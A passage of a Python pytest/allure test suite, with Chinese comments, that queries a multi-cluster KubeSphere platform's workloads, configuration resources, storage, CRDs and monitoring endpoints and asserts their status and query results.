# 获取删除项目的状态\n state = re.json()['status']['phase']\n # 验证删除项目的状态为Terminating\n with pytest.assume:\n assert state == 'Terminating'\n # 等待项目删除成功\n i = 0\n while i < 60:\n # 查询被删除的项目并获取查询结果\n r = multi_cluster_steps.step_get_user_system(self.cluster_any_name, project_name)\n status = r.json()['status']\n if status == {'phase': 'Terminating'}:\n time.sleep(1)\n i += 1\n else:\n break\n # 验证项目删除成功\n assert status == 'Failure'\n\n @allure.story('应用负载')\n @allure.title('在某个集群查看集群所有的deployments，并验证其运行正常')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_deployments_of_cluster(self):\n # 查询集群所有的deployments\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'deployments')\n # 获取集群deployments的数量\n count = re.json()['totalItems']\n # 获取集群所有的系统项目名称\n system_ns = project_steps.step_get_system_project(self.cluster_any_name)\n # 获取集群所有的deployments的状态\n for j in range(0, count):\n # 获取每个deployment的namespace\n ns = re.json()['items'][j]['metadata']['namespace']\n if ns in system_ns:\n state = re.json()['items'][j]['status']['conditions'][0]['status']\n # 验证deployment的状态为True\n assert state == 'True'\n else:\n break\n\n @allure.story('应用负载')\n @allure.title('查看某个集群所有的deployments的Revision Records')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_deployments_revision_records(self):\n # 查询集群所有的deployments\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'deployments')\n # 获取集群deployments的数量\n count = re.json()['totalItems']\n # 获取集群所有的deployments的labels\n for j in range(0, count):\n label_selector = ''\n project_name = re.json()['items'][j]['metadata']['namespace']\n labels = re.json()['items'][j]['spec']['selector']['matchLabels']\n # 将labels的key和value拼接为label_selector\n keys = list(labels.keys())\n values = list(labels.values())\n for k in range(0, len(keys)):\n label_selector += keys[k] + '=' + values[k] + ','\n # 去掉最后的逗号\n label_selector = label_selector[:-1]\n # 查看deployments的revision records信息\n r = multi_cluster_steps.step_get_deployment_revision_records(project_name, label_selector)\n # 获取请求的资源类型\n kind = r.json()['kind']\n # 验证请求的资源类型为ReplicaSetList\n assert kind == 'ReplicaSetList'\n\n @allure.story('应用负载')\n @allure.title('查看某个集群所有的statefulSets，并验证其运行正常')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_statefulsets_of_cluster(self):\n # 查询集群所有的statefulSets\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'statefulsets')\n # 获取集群所有的系统项目名称\n system_ns = project_steps.step_get_system_project(self.cluster_any_name)\n # 获取集群statefulSets的数量\n count = re.json()['totalItems']\n # 获取集群所有的statefulSets的副本数和ready的副本数\n for j in range(0, count):\n # 获取每个statefulSets的namespace\n ns = re.json()['items'][j]['metadata']['namespace']\n if ns in system_ns:\n replica = re.json()['items'][j]['status']['replicas']\n ready_replicas = re.json()['items'][j]['status']['readyReplicas']\n # 验证每个statefulSets的ready的副本数=副本数\n assert replica == ready_replicas\n else:\n break\n\n @allure.story('应用负载')\n @allure.title('查看某个集群所有的daemonSets，并验证其运行正常')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_daemonsets_of_cluster(self):\n # 查询集群所有的daemonSets\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'daemonsets')\n # 获取集群daemonSets的数量\n count = re.json()['totalItems']\n # 获取集群所有的daemonSets的current_number_scheduled和desired_number_scheduled\n for j in range(0, count):\n current_number_scheduled = re.json()['items'][j]['status']['currentNumberScheduled']\n desired_number_scheduled = re.json()['items'][j]['status']['desiredNumberScheduled']\n # 验证每个daemonSets的current_number_scheduled=desired_number_scheduled\n assert current_number_scheduled == desired_number_scheduled\n\n @allure.story('应用负载')\n @allure.title('查看某个集群所有的daemonSets的详情信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_check_daemonsets_detail_of_cluster(self):\n # 查询集群所有的daemonSets\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'daemonsets')\n # 获取集群daemonSets的数量\n count = re.json()['totalItems']\n # 获取集群中所有的daemonSets的名称和所在的项目名称\n for j in range(0, count):\n resource_name = re.json()['items'][j]['metadata']['name']\n project_name = re.json()['items'][j]['metadata']['namespace']\n # 查询daemonSets的详细信息\n r = multi_cluster_steps.step_get_workload_detail(self.cluster_any_name, project_name, 'daemonsets',\n resource_name)\n # 验证信息查询成功\n assert r.json()['items'][0]['metadata']['annotations']['deprecated.daemonset.template.generation'] is not None\n\n @allure.story('应用负载')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.CRITICAL)\n @pytest.mark.parametrize('type, title',\n [('statefulsets', '查看某个集群所有的statefulSets的Revision Records'),\n ('daemonsets', '查看某个集群所有的daemonSets的Revision Records')])\n def test_check_app_workload_revision_records(self, type, title):\n # 查询集群所有的daemonSets\n label_selector = ''\n res = multi_cluster_steps.step_get_resource_of_cluster(cluster_name=self.cluster_any_name, resource_type=type)\n # 获取集群daemonSets的数量\n count = res.json()['totalItems']\n # 获取所有的daemonSets的label、project_name和daemonSets的名称\n for j in range(0, count):\n labels = res.json()['items'][j]['metadata']['labels']\n # 将labels的key和value拼接为label_selector\n keys = list(labels.keys())\n values = list(labels.values())\n for k in range(0, len(keys)):\n label_selector = ''\n label_selector += keys[k] + '=' + values[k] + ','\n # 去掉最后的逗号\n label_selector = label_selector[:-1]\n # 获取daemonSets的名称和所在的项目名称\n project_name = res.json()['items'][j]['metadata']['namespace']\n # 查看daemonSets的revision Records 信息\n r = multi_cluster_steps.step_get_app_workload_revision_records(self.cluster_any_name, project_name,\n label_selector)\n # 获取请求的资源类型\n kind = r.json()['kind']\n # 验证请求的资源类型为ControllerRevisionList\n assert kind == 'ControllerRevisionList'\n\n @allure.story('应用负载')\n @allure.severity(allure.severity_level.CRITICAL)\n @allure.title('{title}')\n @pytest.mark.parametrize('type, title',\n [('deployments', '查看某个集群所有的deployments的Monitoring'),\n ('statefulsets', '查看某个集群所有的statefulSets的Monitoring'),\n ('daemonsets', '查看某个集群所有的daemonSets的Monitoring'),\n ('pods', '查看某个集群所有pod的Monitoring'),\n ('services', '查看某个集群所有service的Monitoring')])\n def test_check_app_workload_monitoring(self, type, title):\n # 查询集群所有的对应类型的资源\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type)\n # 获取集群daemonSets的数量\n count = re.json()['totalItems']\n # 获取任一对应类型资源的project_name和资源的名称\n if count > 0:\n j = random.randint(0, count - 1)\n project_name = re.json()['items'][j]['metadata']['namespace']\n resource_name = re.json()['items'][j]['metadata']['name']\n # 查看监控信息\n r = multi_cluster_steps.step_get_app_workload_monitoring(self.cluster_any_name, project_name, type,\n resource_name)\n # 获取请求结果中监控数据的类型\n result_type = r.json()['results'][0]['data']['resultType']\n # 验证请求结果中监控数据的类型为vector\n assert result_type == 'vector'\n else:\n print('无' + type)\n\n @allure.title('{title}')\n @allure.severity(allure.severity_level.CRITICAL)\n @pytest.mark.parametrize('story, type, title',\n [('应用负载', 'deployments', '查看每个集群所有的deployments的event'),\n ('应用负载', 'statefulsets', '查看每个集群所有的statefulSets的event'),\n ('应用负载', 'daemonsets', '查看每个集群所有的daemonSets的event'),\n ('应用负载', 'pods', '查看每个集群所有pod的event'),\n ('应用负载', 'services', '查看每个集群所有service的event'),\n ('存储', 'persistentvolumeclaims', '查看每个集群所有pvc的event')\n ])\n def test_check_app_workload_event(self, story, type, title):\n allure.dynamic.story(story)\n # 获取多集群环境的集群信息\n response = multi_cluster_steps.step_get_cluster()\n # 获取集群的数量\n cluster_count = response.json()['totalItems']\n i = random.randint(0, cluster_count - 1)\n # 获取任一集群的名称\n cluster_name = response.json()['items'][i]['metadata']['name']\n # 查询集群所有的资源\n re = multi_cluster_steps.step_get_resource_of_cluster(cluster_name, type)\n # 获取集群某一资源的数量\n count = re.json()['totalItems']\n # 获取某一资源任意的project_name,资源的名称和uid\n if count > 0:\n j = random.randint(0, count - 1)\n project_name = re.json()['items'][j]['metadata']['namespace']\n resource_name = re.json()['items'][j]['metadata']['name']\n resource_uid = response.json()['items'][i]['metadata']['uid']\n # 查询daemonSets的event信息\n r = multi_cluster_steps.step_get_resource_event(cluster_name, project_name, type, resource_name,\n resource_uid)\n # 获取请求结果的类型\n kind = r.json()['kind']\n # 验证请求结果的类型为EventList\n assert kind == 'EventList'\n else:\n print('无' + type)\n\n @allure.story('应用负载')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('type, title',\n [('deployments', '在某个集群按名称精确查询存在的deployments'),\n ('statefulsets', '在某个集群按名称精确查询存在的statefulSets'),\n ('daemonsets', '在某个集群按名称精确查询存在的daemonSets'),\n ('pods', '在某个集群按名称模糊查询存在的pod'),\n ('services', '在某个按名称模糊查询存在的service')])\n def test_precise_query_app_workload_by_name(self, type, title):\n # 获取集群中存在的资源的名称\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type)\n # 获取第一个资源的名称\n name = re.json()['items'][0]['metadata']['name']\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'name=' + name)\n # 获取查询结果的名称\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert name == name_actual\n\n @allure.story('应用负载')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('type, title',\n [('deployments', '在某个集群按名称模糊查询存在的deployments'),\n ('statefulsets', '在某个集群按名称模糊查询存在的statefulSets'),\n ('daemonsets', '在某个集群按名称模糊查询存在的daemonSets'),\n ('pods', '在某个集群按名称模糊查询存在的pod'),\n ('services', '在某个集群按名称模糊查询存在的service')\n ])\n def test_fuzzy_query_app_workload_by_name(self, type, title):\n # 获取集群中存在的资源的名称\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type)\n count = re.json()['totalItems']\n if count > 0:\n # 获取第任一资源的名称\n i = random.randint(0, count - 1)\n name = re.json()['items'][i]['metadata']['name']\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'name=' + name[1:])\n # 获取查询结果的名称\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert name in name_actual\n else:\n print('无' + type)\n\n @allure.story('应用负载')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('type, title',\n [('deployments', '在某个集群按状态查询存在的deployments'),\n ('statefulsets', '在某个集群按状态查询存在的statefulSets'),\n ('daemonsets', '在某个集群按状态查询存在的daemonSets')])\n def test_query_app_workload_by_status(self, type, title):\n # 查询状态为running的资源\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'status=running')\n # 获取资源的数量\n count = r.json()['totalItems']\n # 获取资源的ready_replicas和replicas\n for j in range(0, count):\n if type == 'daemonsets':\n ready_replicas = r.json()['items'][j]['status']['numberReady']\n replicas = r.json()['items'][j]['status']['numberAvailable']\n else:\n ready_replicas = r.json()['items'][j]['status']['readyReplicas']\n replicas = r.json()['items'][j]['status']['replicas']\n # 验证ready_replicas=replicas，从而判断资源的状态为running\n assert ready_replicas == replicas\n\n @allure.story('应用负载')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('type, title',\n [('deployments', '在某个集群按状态和名称查询存在的deployments'),\n ('statefulsets', '在某个集群按状态和名称查询存在的statefulSets'),\n ('daemonsets', '在某个集群按状态和名称查询存在的daemonSets')])\n def test_query_app_workload_by_status_and_name(self, type, title):\n # 查询集群中所有的资源\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type)\n # 获取资源的数量\n count = re.json()['totalItems']\n if count > 0:\n running_resource = []\n try:\n for j in range(0, count):\n if type == 'daemonsets':\n ready_replicas = re.json()['items'][j]['status']['numberReady']\n replicas = re.json()['items'][j]['status']['numberAvailable']\n else:\n ready_replicas = re.json()['items'][j]['status']['readyReplicas']\n replicas = re.json()['items'][j]['status']['replicas']\n # 判断资源状态为运行中\n if ready_replicas == replicas:\n running_resource.append(re.json()['items'][j]['metadata']['name'])\n # 使用名称和状态查询资源\n for name in running_resource:\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'name=' + name,\n 'status=running')\n # 获取查询结果中的name\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询的结果正确\n assert name == name_actual\n except Exception as e:\n print(e)\n else:\n print('无' + type)\n\n @allure.story('应用负载')\n @allure.title('获取每个集群所有的容器组，并验证其数量与从项目管理中获取的数量一致')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_pods_of_cluster(self):\n # 获取集群的容器组的数量\n res = multi_cluster_steps.step_get_pods_of_cluster(self.cluster_any_name)\n count = res.json()['totalItems']\n # 从项目管理处获取所有项目的名称\n project_name = []\n re = multi_cluster_steps.step_get_project_of_cluster(self.cluster_any_name)\n project_count = re.json()['totalItems']\n for j in range(0, project_count):\n name = re.json()['items'][j]['metadata']['name']\n project_name.append(name)\n # 获取每个项目的pod数量,并将其加和\n pod_counts = 0\n for project in project_name:\n r = multi_cluster_steps.step_get_pods_of_project(self.cluster_any_name, project)\n pod_count = r.json()['totalItems']\n pod_counts += pod_count\n # 验证集群的容器数量等于每个项目的容器数之和\n assert count == pod_counts\n\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('story, type, title',\n [('配置中心', 'secrets', '在某个集群按名称精确查询存在的密钥'),\n ('配置中心', 'configmaps', '在某个集群按名称精确查询存在的配置'),\n ('配置中心', 'serviceaccounts', '在某个集群按名称精确查询存在的服务账号'),\n ('CRDs', 'customresourcedefinitions', '在某个集群按名称精确查询存在的CRD'),\n ('存储', 'persistentvolumeclaims', '在某个集群按名称精确查询存在的存储卷'),\n ('存储', 'storageclasses', '在某个集群按名称精确查询存在的存储类型')\n ])\n def test_precise_query_resource_by_name(self, story, type, title):\n allure.dynamic.story(story)\n # 获取集群中存在的任一资源的名称\n re = multi_cluster_steps.step_get_resource_of_cluster(cluster_name=self.cluster_any_name, resource_type=type)\n count = re.json()['totalItems']\n name = re.json()['items'][random.randint(0, count - 1)]['metadata']['name']\n # 按名称精确查询存在的资源\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'name=' + name)\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert name in name_actual\n\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('story, type, title',\n [('配置中心', 'secrets', '在某个集群按名称模糊查询存在的密钥'),\n ('配置中心', 'configmaps', '在某个集群按名称模糊查询存在的配置'),\n ('配置中心', 'serviceaccounts', '在某个集群按名称模糊查询存在的服务账号'),\n ('CRDs', 'customresourcedefinitions', '在某个集群按名称模糊查询存在的CRD'),\n ('存储', 'persistentvolumeclaims', '在某个集群按名称模糊查询存在的存储卷'),\n ('存储', 'storageclasses', '在某个集群按名称模糊查询存在的存储类型')\n ])\n def test_fuzzy_query_resource_by_name(self, story, type, title):\n allure.dynamic.story(story)\n # 查看集群中的某一种资源\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, resource_type=type)\n # 获取集群中某一种资源的数量\n count = re.json()['totalItems']\n # 获取集群中存在的任一资源的名称\n name = re.json()['items'][random.randint(0, count - 1)]['metadata']['name']\n fuzzy_name = name[1:]\n # 按名称精确查询存在的资源\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, type, 'name=' + fuzzy_name)\n # 获取结果数量\n count_actual = r.json()['totalItems']\n # 获取结果中的名称\n name_actual = []\n for i in range(0, count_actual):\n name_actual.append(r.json()['items'][i]['metadata']['name'])\n # 验证查询结果正确\n assert name in name_actual\n\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('story, type, title',\n [('配置中心', 'secrets', '在某个集群按项目查询存在的密钥'),\n ('配置中心', 'configmaps', '在某个集群按项目查询存在的配置'),\n ('配置中心', 'serviceaccounts', '在某个集群按项目查询存在的服务账号'),\n ('存储', 'persistentvolumeclaims', '在某个集群按项目查询存在的存储卷')\n ])\n def test_query_configuration_by_project(self, story, type, title):\n allure.dynamic.story(story)\n # 查询项目为kube-system的所有资源\n r = multi_cluster_steps.step_get_resource_of_cluster_by_project(cluster_name=self.cluster_any_name, type=type,\n project_name='kubesphere-system')\n # 获取资源数量\n count = r.json()['totalItems']\n # 遍历所有资源，验证资源的项目为kubesphere-system\n for j in range(0, count):\n project = r.json()['items'][j]['metadata']['namespace']\n assert project == 'kubesphere-system'\n\n @allure.title('{title}')\n @allure.severity(allure.severity_level.NORMAL)\n @pytest.mark.parametrize('story, type, title',\n [('配置中心', 'secrets', '在某个集群按项目和名称查询存在的密钥'),\n ('配置中心', 'configmaps', '在某个集群按项目和名称查询存在的配置'),\n ('配置中心', 'serviceaccounts', '在某个集群按项目和名称查询存在的服务账号'),\n ('存储', 'persistentvolumeclaims', '在某个集群按项目和名称查询存在的存储卷')\n ])\n def test_query_configuration_by_project_and_name(self, story, type, title):\n allure.dynamic.story(story)\n # 查询项目为kube-system的所有资源\n if type == 'persistentvolumeclaims':\n re = multi_cluster_steps.step_get_resource_of_cluster_by_project(cluster_name=self.cluster_any_name,\n type=type,\n project_name='kubesphere-monitoring-system')\n # 获取任一资源的名称\n name = re.json()['items'][0]['metadata']['name']\n # 按项目和名称查询资源\n r = multi_cluster_steps.step_get_resource_of_cluster_by_project(self.cluster_any_name, type,\n 'kubesphere-monitoring-system',\n 'name=' + name)\n # 在查询结果中获取资源名称\n name_actual = r.json()['items'][0]['metadata']['name']\n else:\n re = multi_cluster_steps.step_get_resource_of_cluster_by_project(cluster_name=self.cluster_any_name,\n type=type,\n project_name='kubesphere-system')\n # 获取资源数量\n count = re.json()['totalItems']\n # 获取任一资源的名称\n name = re.json()['items'][random.randint(0, count - 1)]['metadata']['name']\n # 按项目和名称查询资源\n r = multi_cluster_steps.step_get_resource_of_cluster_by_project(self.cluster_any_name, type,\n 'kubesphere-system',\n 'name=' + name)\n # 在查询结果中获取资源名称\n name_actual = r.json()['items'][0]['metadata']['name']\n # 验证查询结果正确\n assert name in name_actual\n\n @allure.story('CRDs')\n @allure.title('在某个集群查询任一CRD的详情信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_crd_detail(self):\n # 查询集群中的crd\n re = multi_cluster_steps.step_get_resource_of_cluster(cluster_name=self.cluster_any_name,\n resource_type='customresourcedefinitions')\n # 获取crd的数量\n count = re.json()['totalItems']\n # 获取crd的名称\n j = random.randint(0, count - 1)\n name = re.json()['items'][j]['metadata']['name']\n # 查询CRD的详情信息\n r = multi_cluster_steps.step_get_crd_detail(self.cluster_any_name, name)\n # 获取查询结果中的kind\n kind = r.json()['kind']\n # 验证查询结果正确\n assert kind == 'CustomResourceDefinition'\n\n @allure.story('CRDs')\n @allure.title('在某个集群查询任一CRD的FederatedGroupList')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_crd_federated_group_list(self):\n # 查询集群中的crd\n res = multi_cluster_steps.step_get_resource_of_cluster(cluster_name=self.cluster_any_name,\n resource_type='customresourcedefinitions')\n # 获取crd的数量\n count = res.json()['totalItems']\n # 获取任一crd的group和kind\n j = random.randint(0, count - 1)\n # 获取crd的名称\n name = res.json()['items'][j]['metadata']['name']\n # 获取crd的group,version和kind\n re = multi_cluster_steps.step_get_crd_detail(self.cluster_any_name, name)\n group = re.json()['spec']['group']\n version = re.json()['spec']['versions'][0]['name']\n kind = res.json()['items'][j]['spec']['names']['kind']\n # 查询crd的FederatedGroupList信息\n r = multi_cluster_steps.step_get_crd_federated_group_list(self.cluster_any_name, group, version, kind.lower())\n # 验证查询结果正确\n assert r.status_code == 200\n\n @allure.story('存储')\n @allure.title('在某个集群按状态查询存储卷，并验证查询结果正确')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_query_pvc_by_status(self):\n # 查询状态为bound的存储卷\n r = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'persistentvolumeclaims',\n 'status=bound')\n # 获取存储卷数量\n count = r.json()['totalItems']\n # 获取并验证所有存储卷的状态为Bound\n for j in range(0, count):\n status = r.json()['items'][j]['status']['phase']\n assert status == 'Bound'\n\n @allure.story('存储')\n @allure.title('在某个集群查询每一个存储卷的详情信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_pvc_detail(self):\n # 查询集群的存储卷\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'persistentvolumeclaims')\n # 获取存储卷的数量\n count = re.json()['totalItems']\n if count > 0:\n # 获取任一存储卷的名称和所在namespace\n j = random.randint(0, count)\n name = re.json()['items'][j]['metadata']['name']\n namespace = re.json()['items'][j]['metadata']['namespace']\n # 查询存储卷的详情信息\n r = multi_cluster_steps.step_get_pvc_detail(self.cluster_any_name, namespace, name)\n # 获取查询结果的kind\n kind = r.json()['kind']\n # 验证查询结果正确\n assert kind == 'PersistentVolumeClaim'\n else:\n print('无存储卷')\n\n @allure.story('存储')\n @allure.title('在某个集群查询每一个存储卷的监控信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_pvc_metrics(self):\n # 查询集群存在的存储卷信息\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'persistentvolumeclaims')\n # 获取存储卷的数量\n count = re.json()['totalItems']\n # 获取所有存储卷的名称和所在namespace\n for j in range(0, count):\n name = re.json()['items'][j]['metadata']['name']\n namespace = re.json()['items'][j]['metadata']['namespace']\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取60分钟之前的时间时间戳\n before_timestamp = commonFunction.get_before_timestamp(now_time, 60)\n # 查询每个pvc最近1个小时的监控信息\n r = multi_cluster_steps.step_get_metrics_of_pvc(self.cluster_any_name, namespace, name, before_timestamp,\n now_timestamp, '60s', '60')\n # 获取查询到的数据的结果类型\n result_type = r.json()['results'][0]['data']['resultType']\n # 验证查询到的数据的结果类型\n assert result_type == 'matrix'\n\n @allure.story('存储')\n @allure.title('在某个集群查询每一个存储卷的pod信息')\n @allure.severity(allure.severity_level.NORMAL)\n def test_get_pvc_pods(self):\n # 查询集群存在的存储卷信息\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'persistentvolumeclaims')\n # 获取存储卷的数量\n count = re.json()['totalItems']\n # 获取所有存储卷的名称和所在namespace\n for j in range(0, count):\n name = re.json()['items'][j]['metadata']['name']\n namespace = re.json()['items'][j]['metadata']['namespace']\n # 查询存储卷的pod信息\n r = multi_cluster_steps.step_get_pods_of_project(self.cluster_any_name, namespace, 'pvcName=' + name)\n # 获取pod的数量\n count_pod = r.json()['totalItems']\n if count_pod > 0:\n # 获取所有pod的运行状态\n for k in range(0, count_pod):\n status = r.json()['items'][k]['status']['phase']\n # 验证pod状态获取成功\n assert status\n else:\n print('存储卷：' + name + '未绑定pod')\n\n @allure.story('存储')\n @allure.title('在某个集群查看所有存储卷的快照信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_pvc_snapshot(self):\n # 查询集群存在的存储卷信息\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'persistentvolumeclaims')\n # 获取存储卷的数量\n count = re.json()['totalItems']\n # 获取所有存储卷的名称和所在namespace\n for j in range(0, count):\n name = re.json()['items'][j]['metadata']['name']\n namespace = re.json()['items'][j]['metadata']['namespace']\n # 查询每个pvc的快照信息\n r = multi_cluster_steps.step_get_resource_of_cluster_by_project(self.cluster_any_name, 'volumesnapshots',\n namespace,\n 'persistentVolumeClaimName=' + name)\n # 验证查询成功\n assert r.status_code == 200\n\n @allure.story('存储')\n @allure.title('在某个集群查询存储类型的详细信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_storage_class_detail(self):\n # 查询集群存在的存储类型\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'storageclasses')\n # 获取存储类型的数量\n count = re.json()['totalItems']\n # 获取所有的存储类型的名称\n for j in range(0, count):\n name = re.json()['items'][j]['metadata']['name']\n # 查询每个存储类型的详情信息\n r = multi_cluster_steps.step_get_storage_class_detail(self.cluster_any_name, name)\n # 获取详情信息中的kind\n kind = r.json()['kind']\n # 验证查询结果正确\n assert kind == 'StorageClass'\n\n @allure.story('存储')\n @allure.title('在某个集群将存储类型设置为默认的存储类型')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_set_default_storage_class(self):\n # 查询集群存在的存储类型\n re = multi_cluster_steps.step_get_resource_of_cluster(self.cluster_any_name, 'storageclasses')\n # 获取存储类型的数量\n count = re.json()['totalItems']\n # 获取任一存储类型的名称\n name = re.json()['items'][random.randint(0, count - 1)]['metadata']['name']\n # 将任一存储类型设置为非默认存储类型\n r = multi_cluster_steps.step_set_default_storage_class(self.cluster_any_name, name, 'false')\n # 获取请求结果中的storageclass.kubernetes.io/is-default-class\n result = r.json()['metadata']['annotations']['storageclass.kubernetes.io/is-default-class']\n # 验证结果为false\n with pytest.assume:\n assert result == 'false'\n # 将任一存储类型设置为默认存储类型\n r = multi_cluster_steps.step_set_default_storage_class(self.cluster_any_name, name, 'true')\n # 获取请求结果中的storageclass.kubernetes.io/is-default-class\n result = r.json()['metadata']['annotations']['storageclass.kubernetes.io/is-default-class']\n # 验证结果为true\n assert result == 'true'\n\n @allure.story('监控告警/集群状态')\n @allure.title('在某个集群查看组件的运行状态并验证组件均健康运行')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_component_health(self):\n # 获取组件的健康状况\n r = multi_cluster_steps.step_get_component_health(self.cluster_any_name)\n # 获取组件的数量\n component_count = len(r.json()['kubesphereStatus'])\n for j in range(0, component_count):\n # 获取每个组件的total_backends\n total_backends = r.json()['kubesphereStatus'][j]['totalBackends']\n # 获取每个组件的healthyBackends\n healthy_backends = r.json()['kubesphereStatus'][j]['healthyBackends']\n # 获取组件的名称\n component_name = r.json()['kubesphereStatus'][j]['name']\n # 验证 total_backends=healthy_backends\n if total_backends != healthy_backends:\n print('组件：' + component_name + ' 运行不正常')\n # 校验失败仍能继续运行\n with pytest.assume:\n assert total_backends == healthy_backends\n\n @allure.story('监控告警/集群状态')\n @allure.title('在某个集群查看节点的运行状态并验证节点均健康运行')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_node_health(self):\n # 查询节点的健康状况\n r = multi_cluster_steps.step_get_component_health(self.cluster_any_name)\n # 获取集群的total_nodes\n total_nodes = r.json()['nodeStatus']['totalNodes']\n # 获取集群的healthyNodes\n healthy_nodes = r.json()['nodeStatus']['healthyNodes']\n # 验证total_nodes = healthy_nodes\n assert total_nodes == healthy_nodes\n\n @allure.story('监控告警/集群状态')\n @allure.title('查看某个集群的监控信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_cluster_metrics(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取210分钟之前的时间戳\n before_timestamp = commonFunction.get_before_timestamp(now_time, 210)\n # 查询集群的最近210分钟的监控信息\n re = multi_cluster_steps.step_get_metrics_of_cluster(self.cluster_any_name, before_timestamp, now_timestamp,\n '300s',\n '100')\n # 获取查询结果的数据类型\n for j in range(0, 10):\n try:\n result_type = re.json()['results'][j]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/集群状态')\n @allure.title('查看某个集群的apiserver的监控信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_apiserver_metrics(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取240分钟之前的时间戳\n before_timestamp = commonFunction.get_before_timestamp(now_time, 240)\n # 查询集群的最近240分钟的监控信息\n r = multi_cluster_steps.step_get_metrics_of_apiserver(self.cluster_any_name, before_timestamp, now_timestamp,\n '300s',\n '100')\n # 获取查询结果的数据类型\n for j in range(0, 3):\n try:\n result_type = r.json()['results'][j]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/集群状态')\n @allure.title('查看某个集群的schedule的监控信息')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_get_schedule_metrics(self):\n # 获取当前时间的10位时间戳\n now_time = datetime.now()\n now_timestamp = str(datetime.timestamp(now_time))[0:10]\n # 获取240分钟之前的时间\n before_timestamp = commonFunction.get_before_timestamp(now_time, 240)\n # 查询集群的最近240分钟的监控信息\n r = multi_cluster_steps.step_get_metrics_of_scheduler(self.cluster_any_name, before_timestamp, now_timestamp,\n '300s',\n '100')\n # 获取查询结果的数据类型\n for j in range(0, 2):\n try:\n result_type = r.json()['results'][j]['data']['resultType']\n # 验证数据类型为matrix\n assert result_type == 'matrix'\n except Exception as e:\n print(e)\n\n @allure.story('监控告警/应用资源')\n @allure.title('{title}')\n @allure.severity(allure.severity_level.CRITICAL)\n @pytest.mark.parametrize('sort, title',\n [('node_load1', '在某个集群通过Sort by Load Average查看Node Usage Ranking'),\n ('node_cpu_utilisation', '在某个集群通Sort by CPU查看Node Usage Ranking'),\n ('node_memory_utilisation', '在某个集群通Sort by Memory查看Node Usage Ranking'),\n ('node_disk_size_utilisation', '在某个集群通Sort by Local Storage查看Node Usage Ranking'),\n ('node_disk_inode_utilisation',\n '在某个集群通Sort by inode Utilization查看Node Usage Ranking'),\n ('node_pod_utilisation', '在某个集群通Sort by Pod Utilization查看Node Usage Ranking')\n ])\n def test_get_node_usage_rank(self, sort, title):\n # 查询Node Usage Ranking\n r = 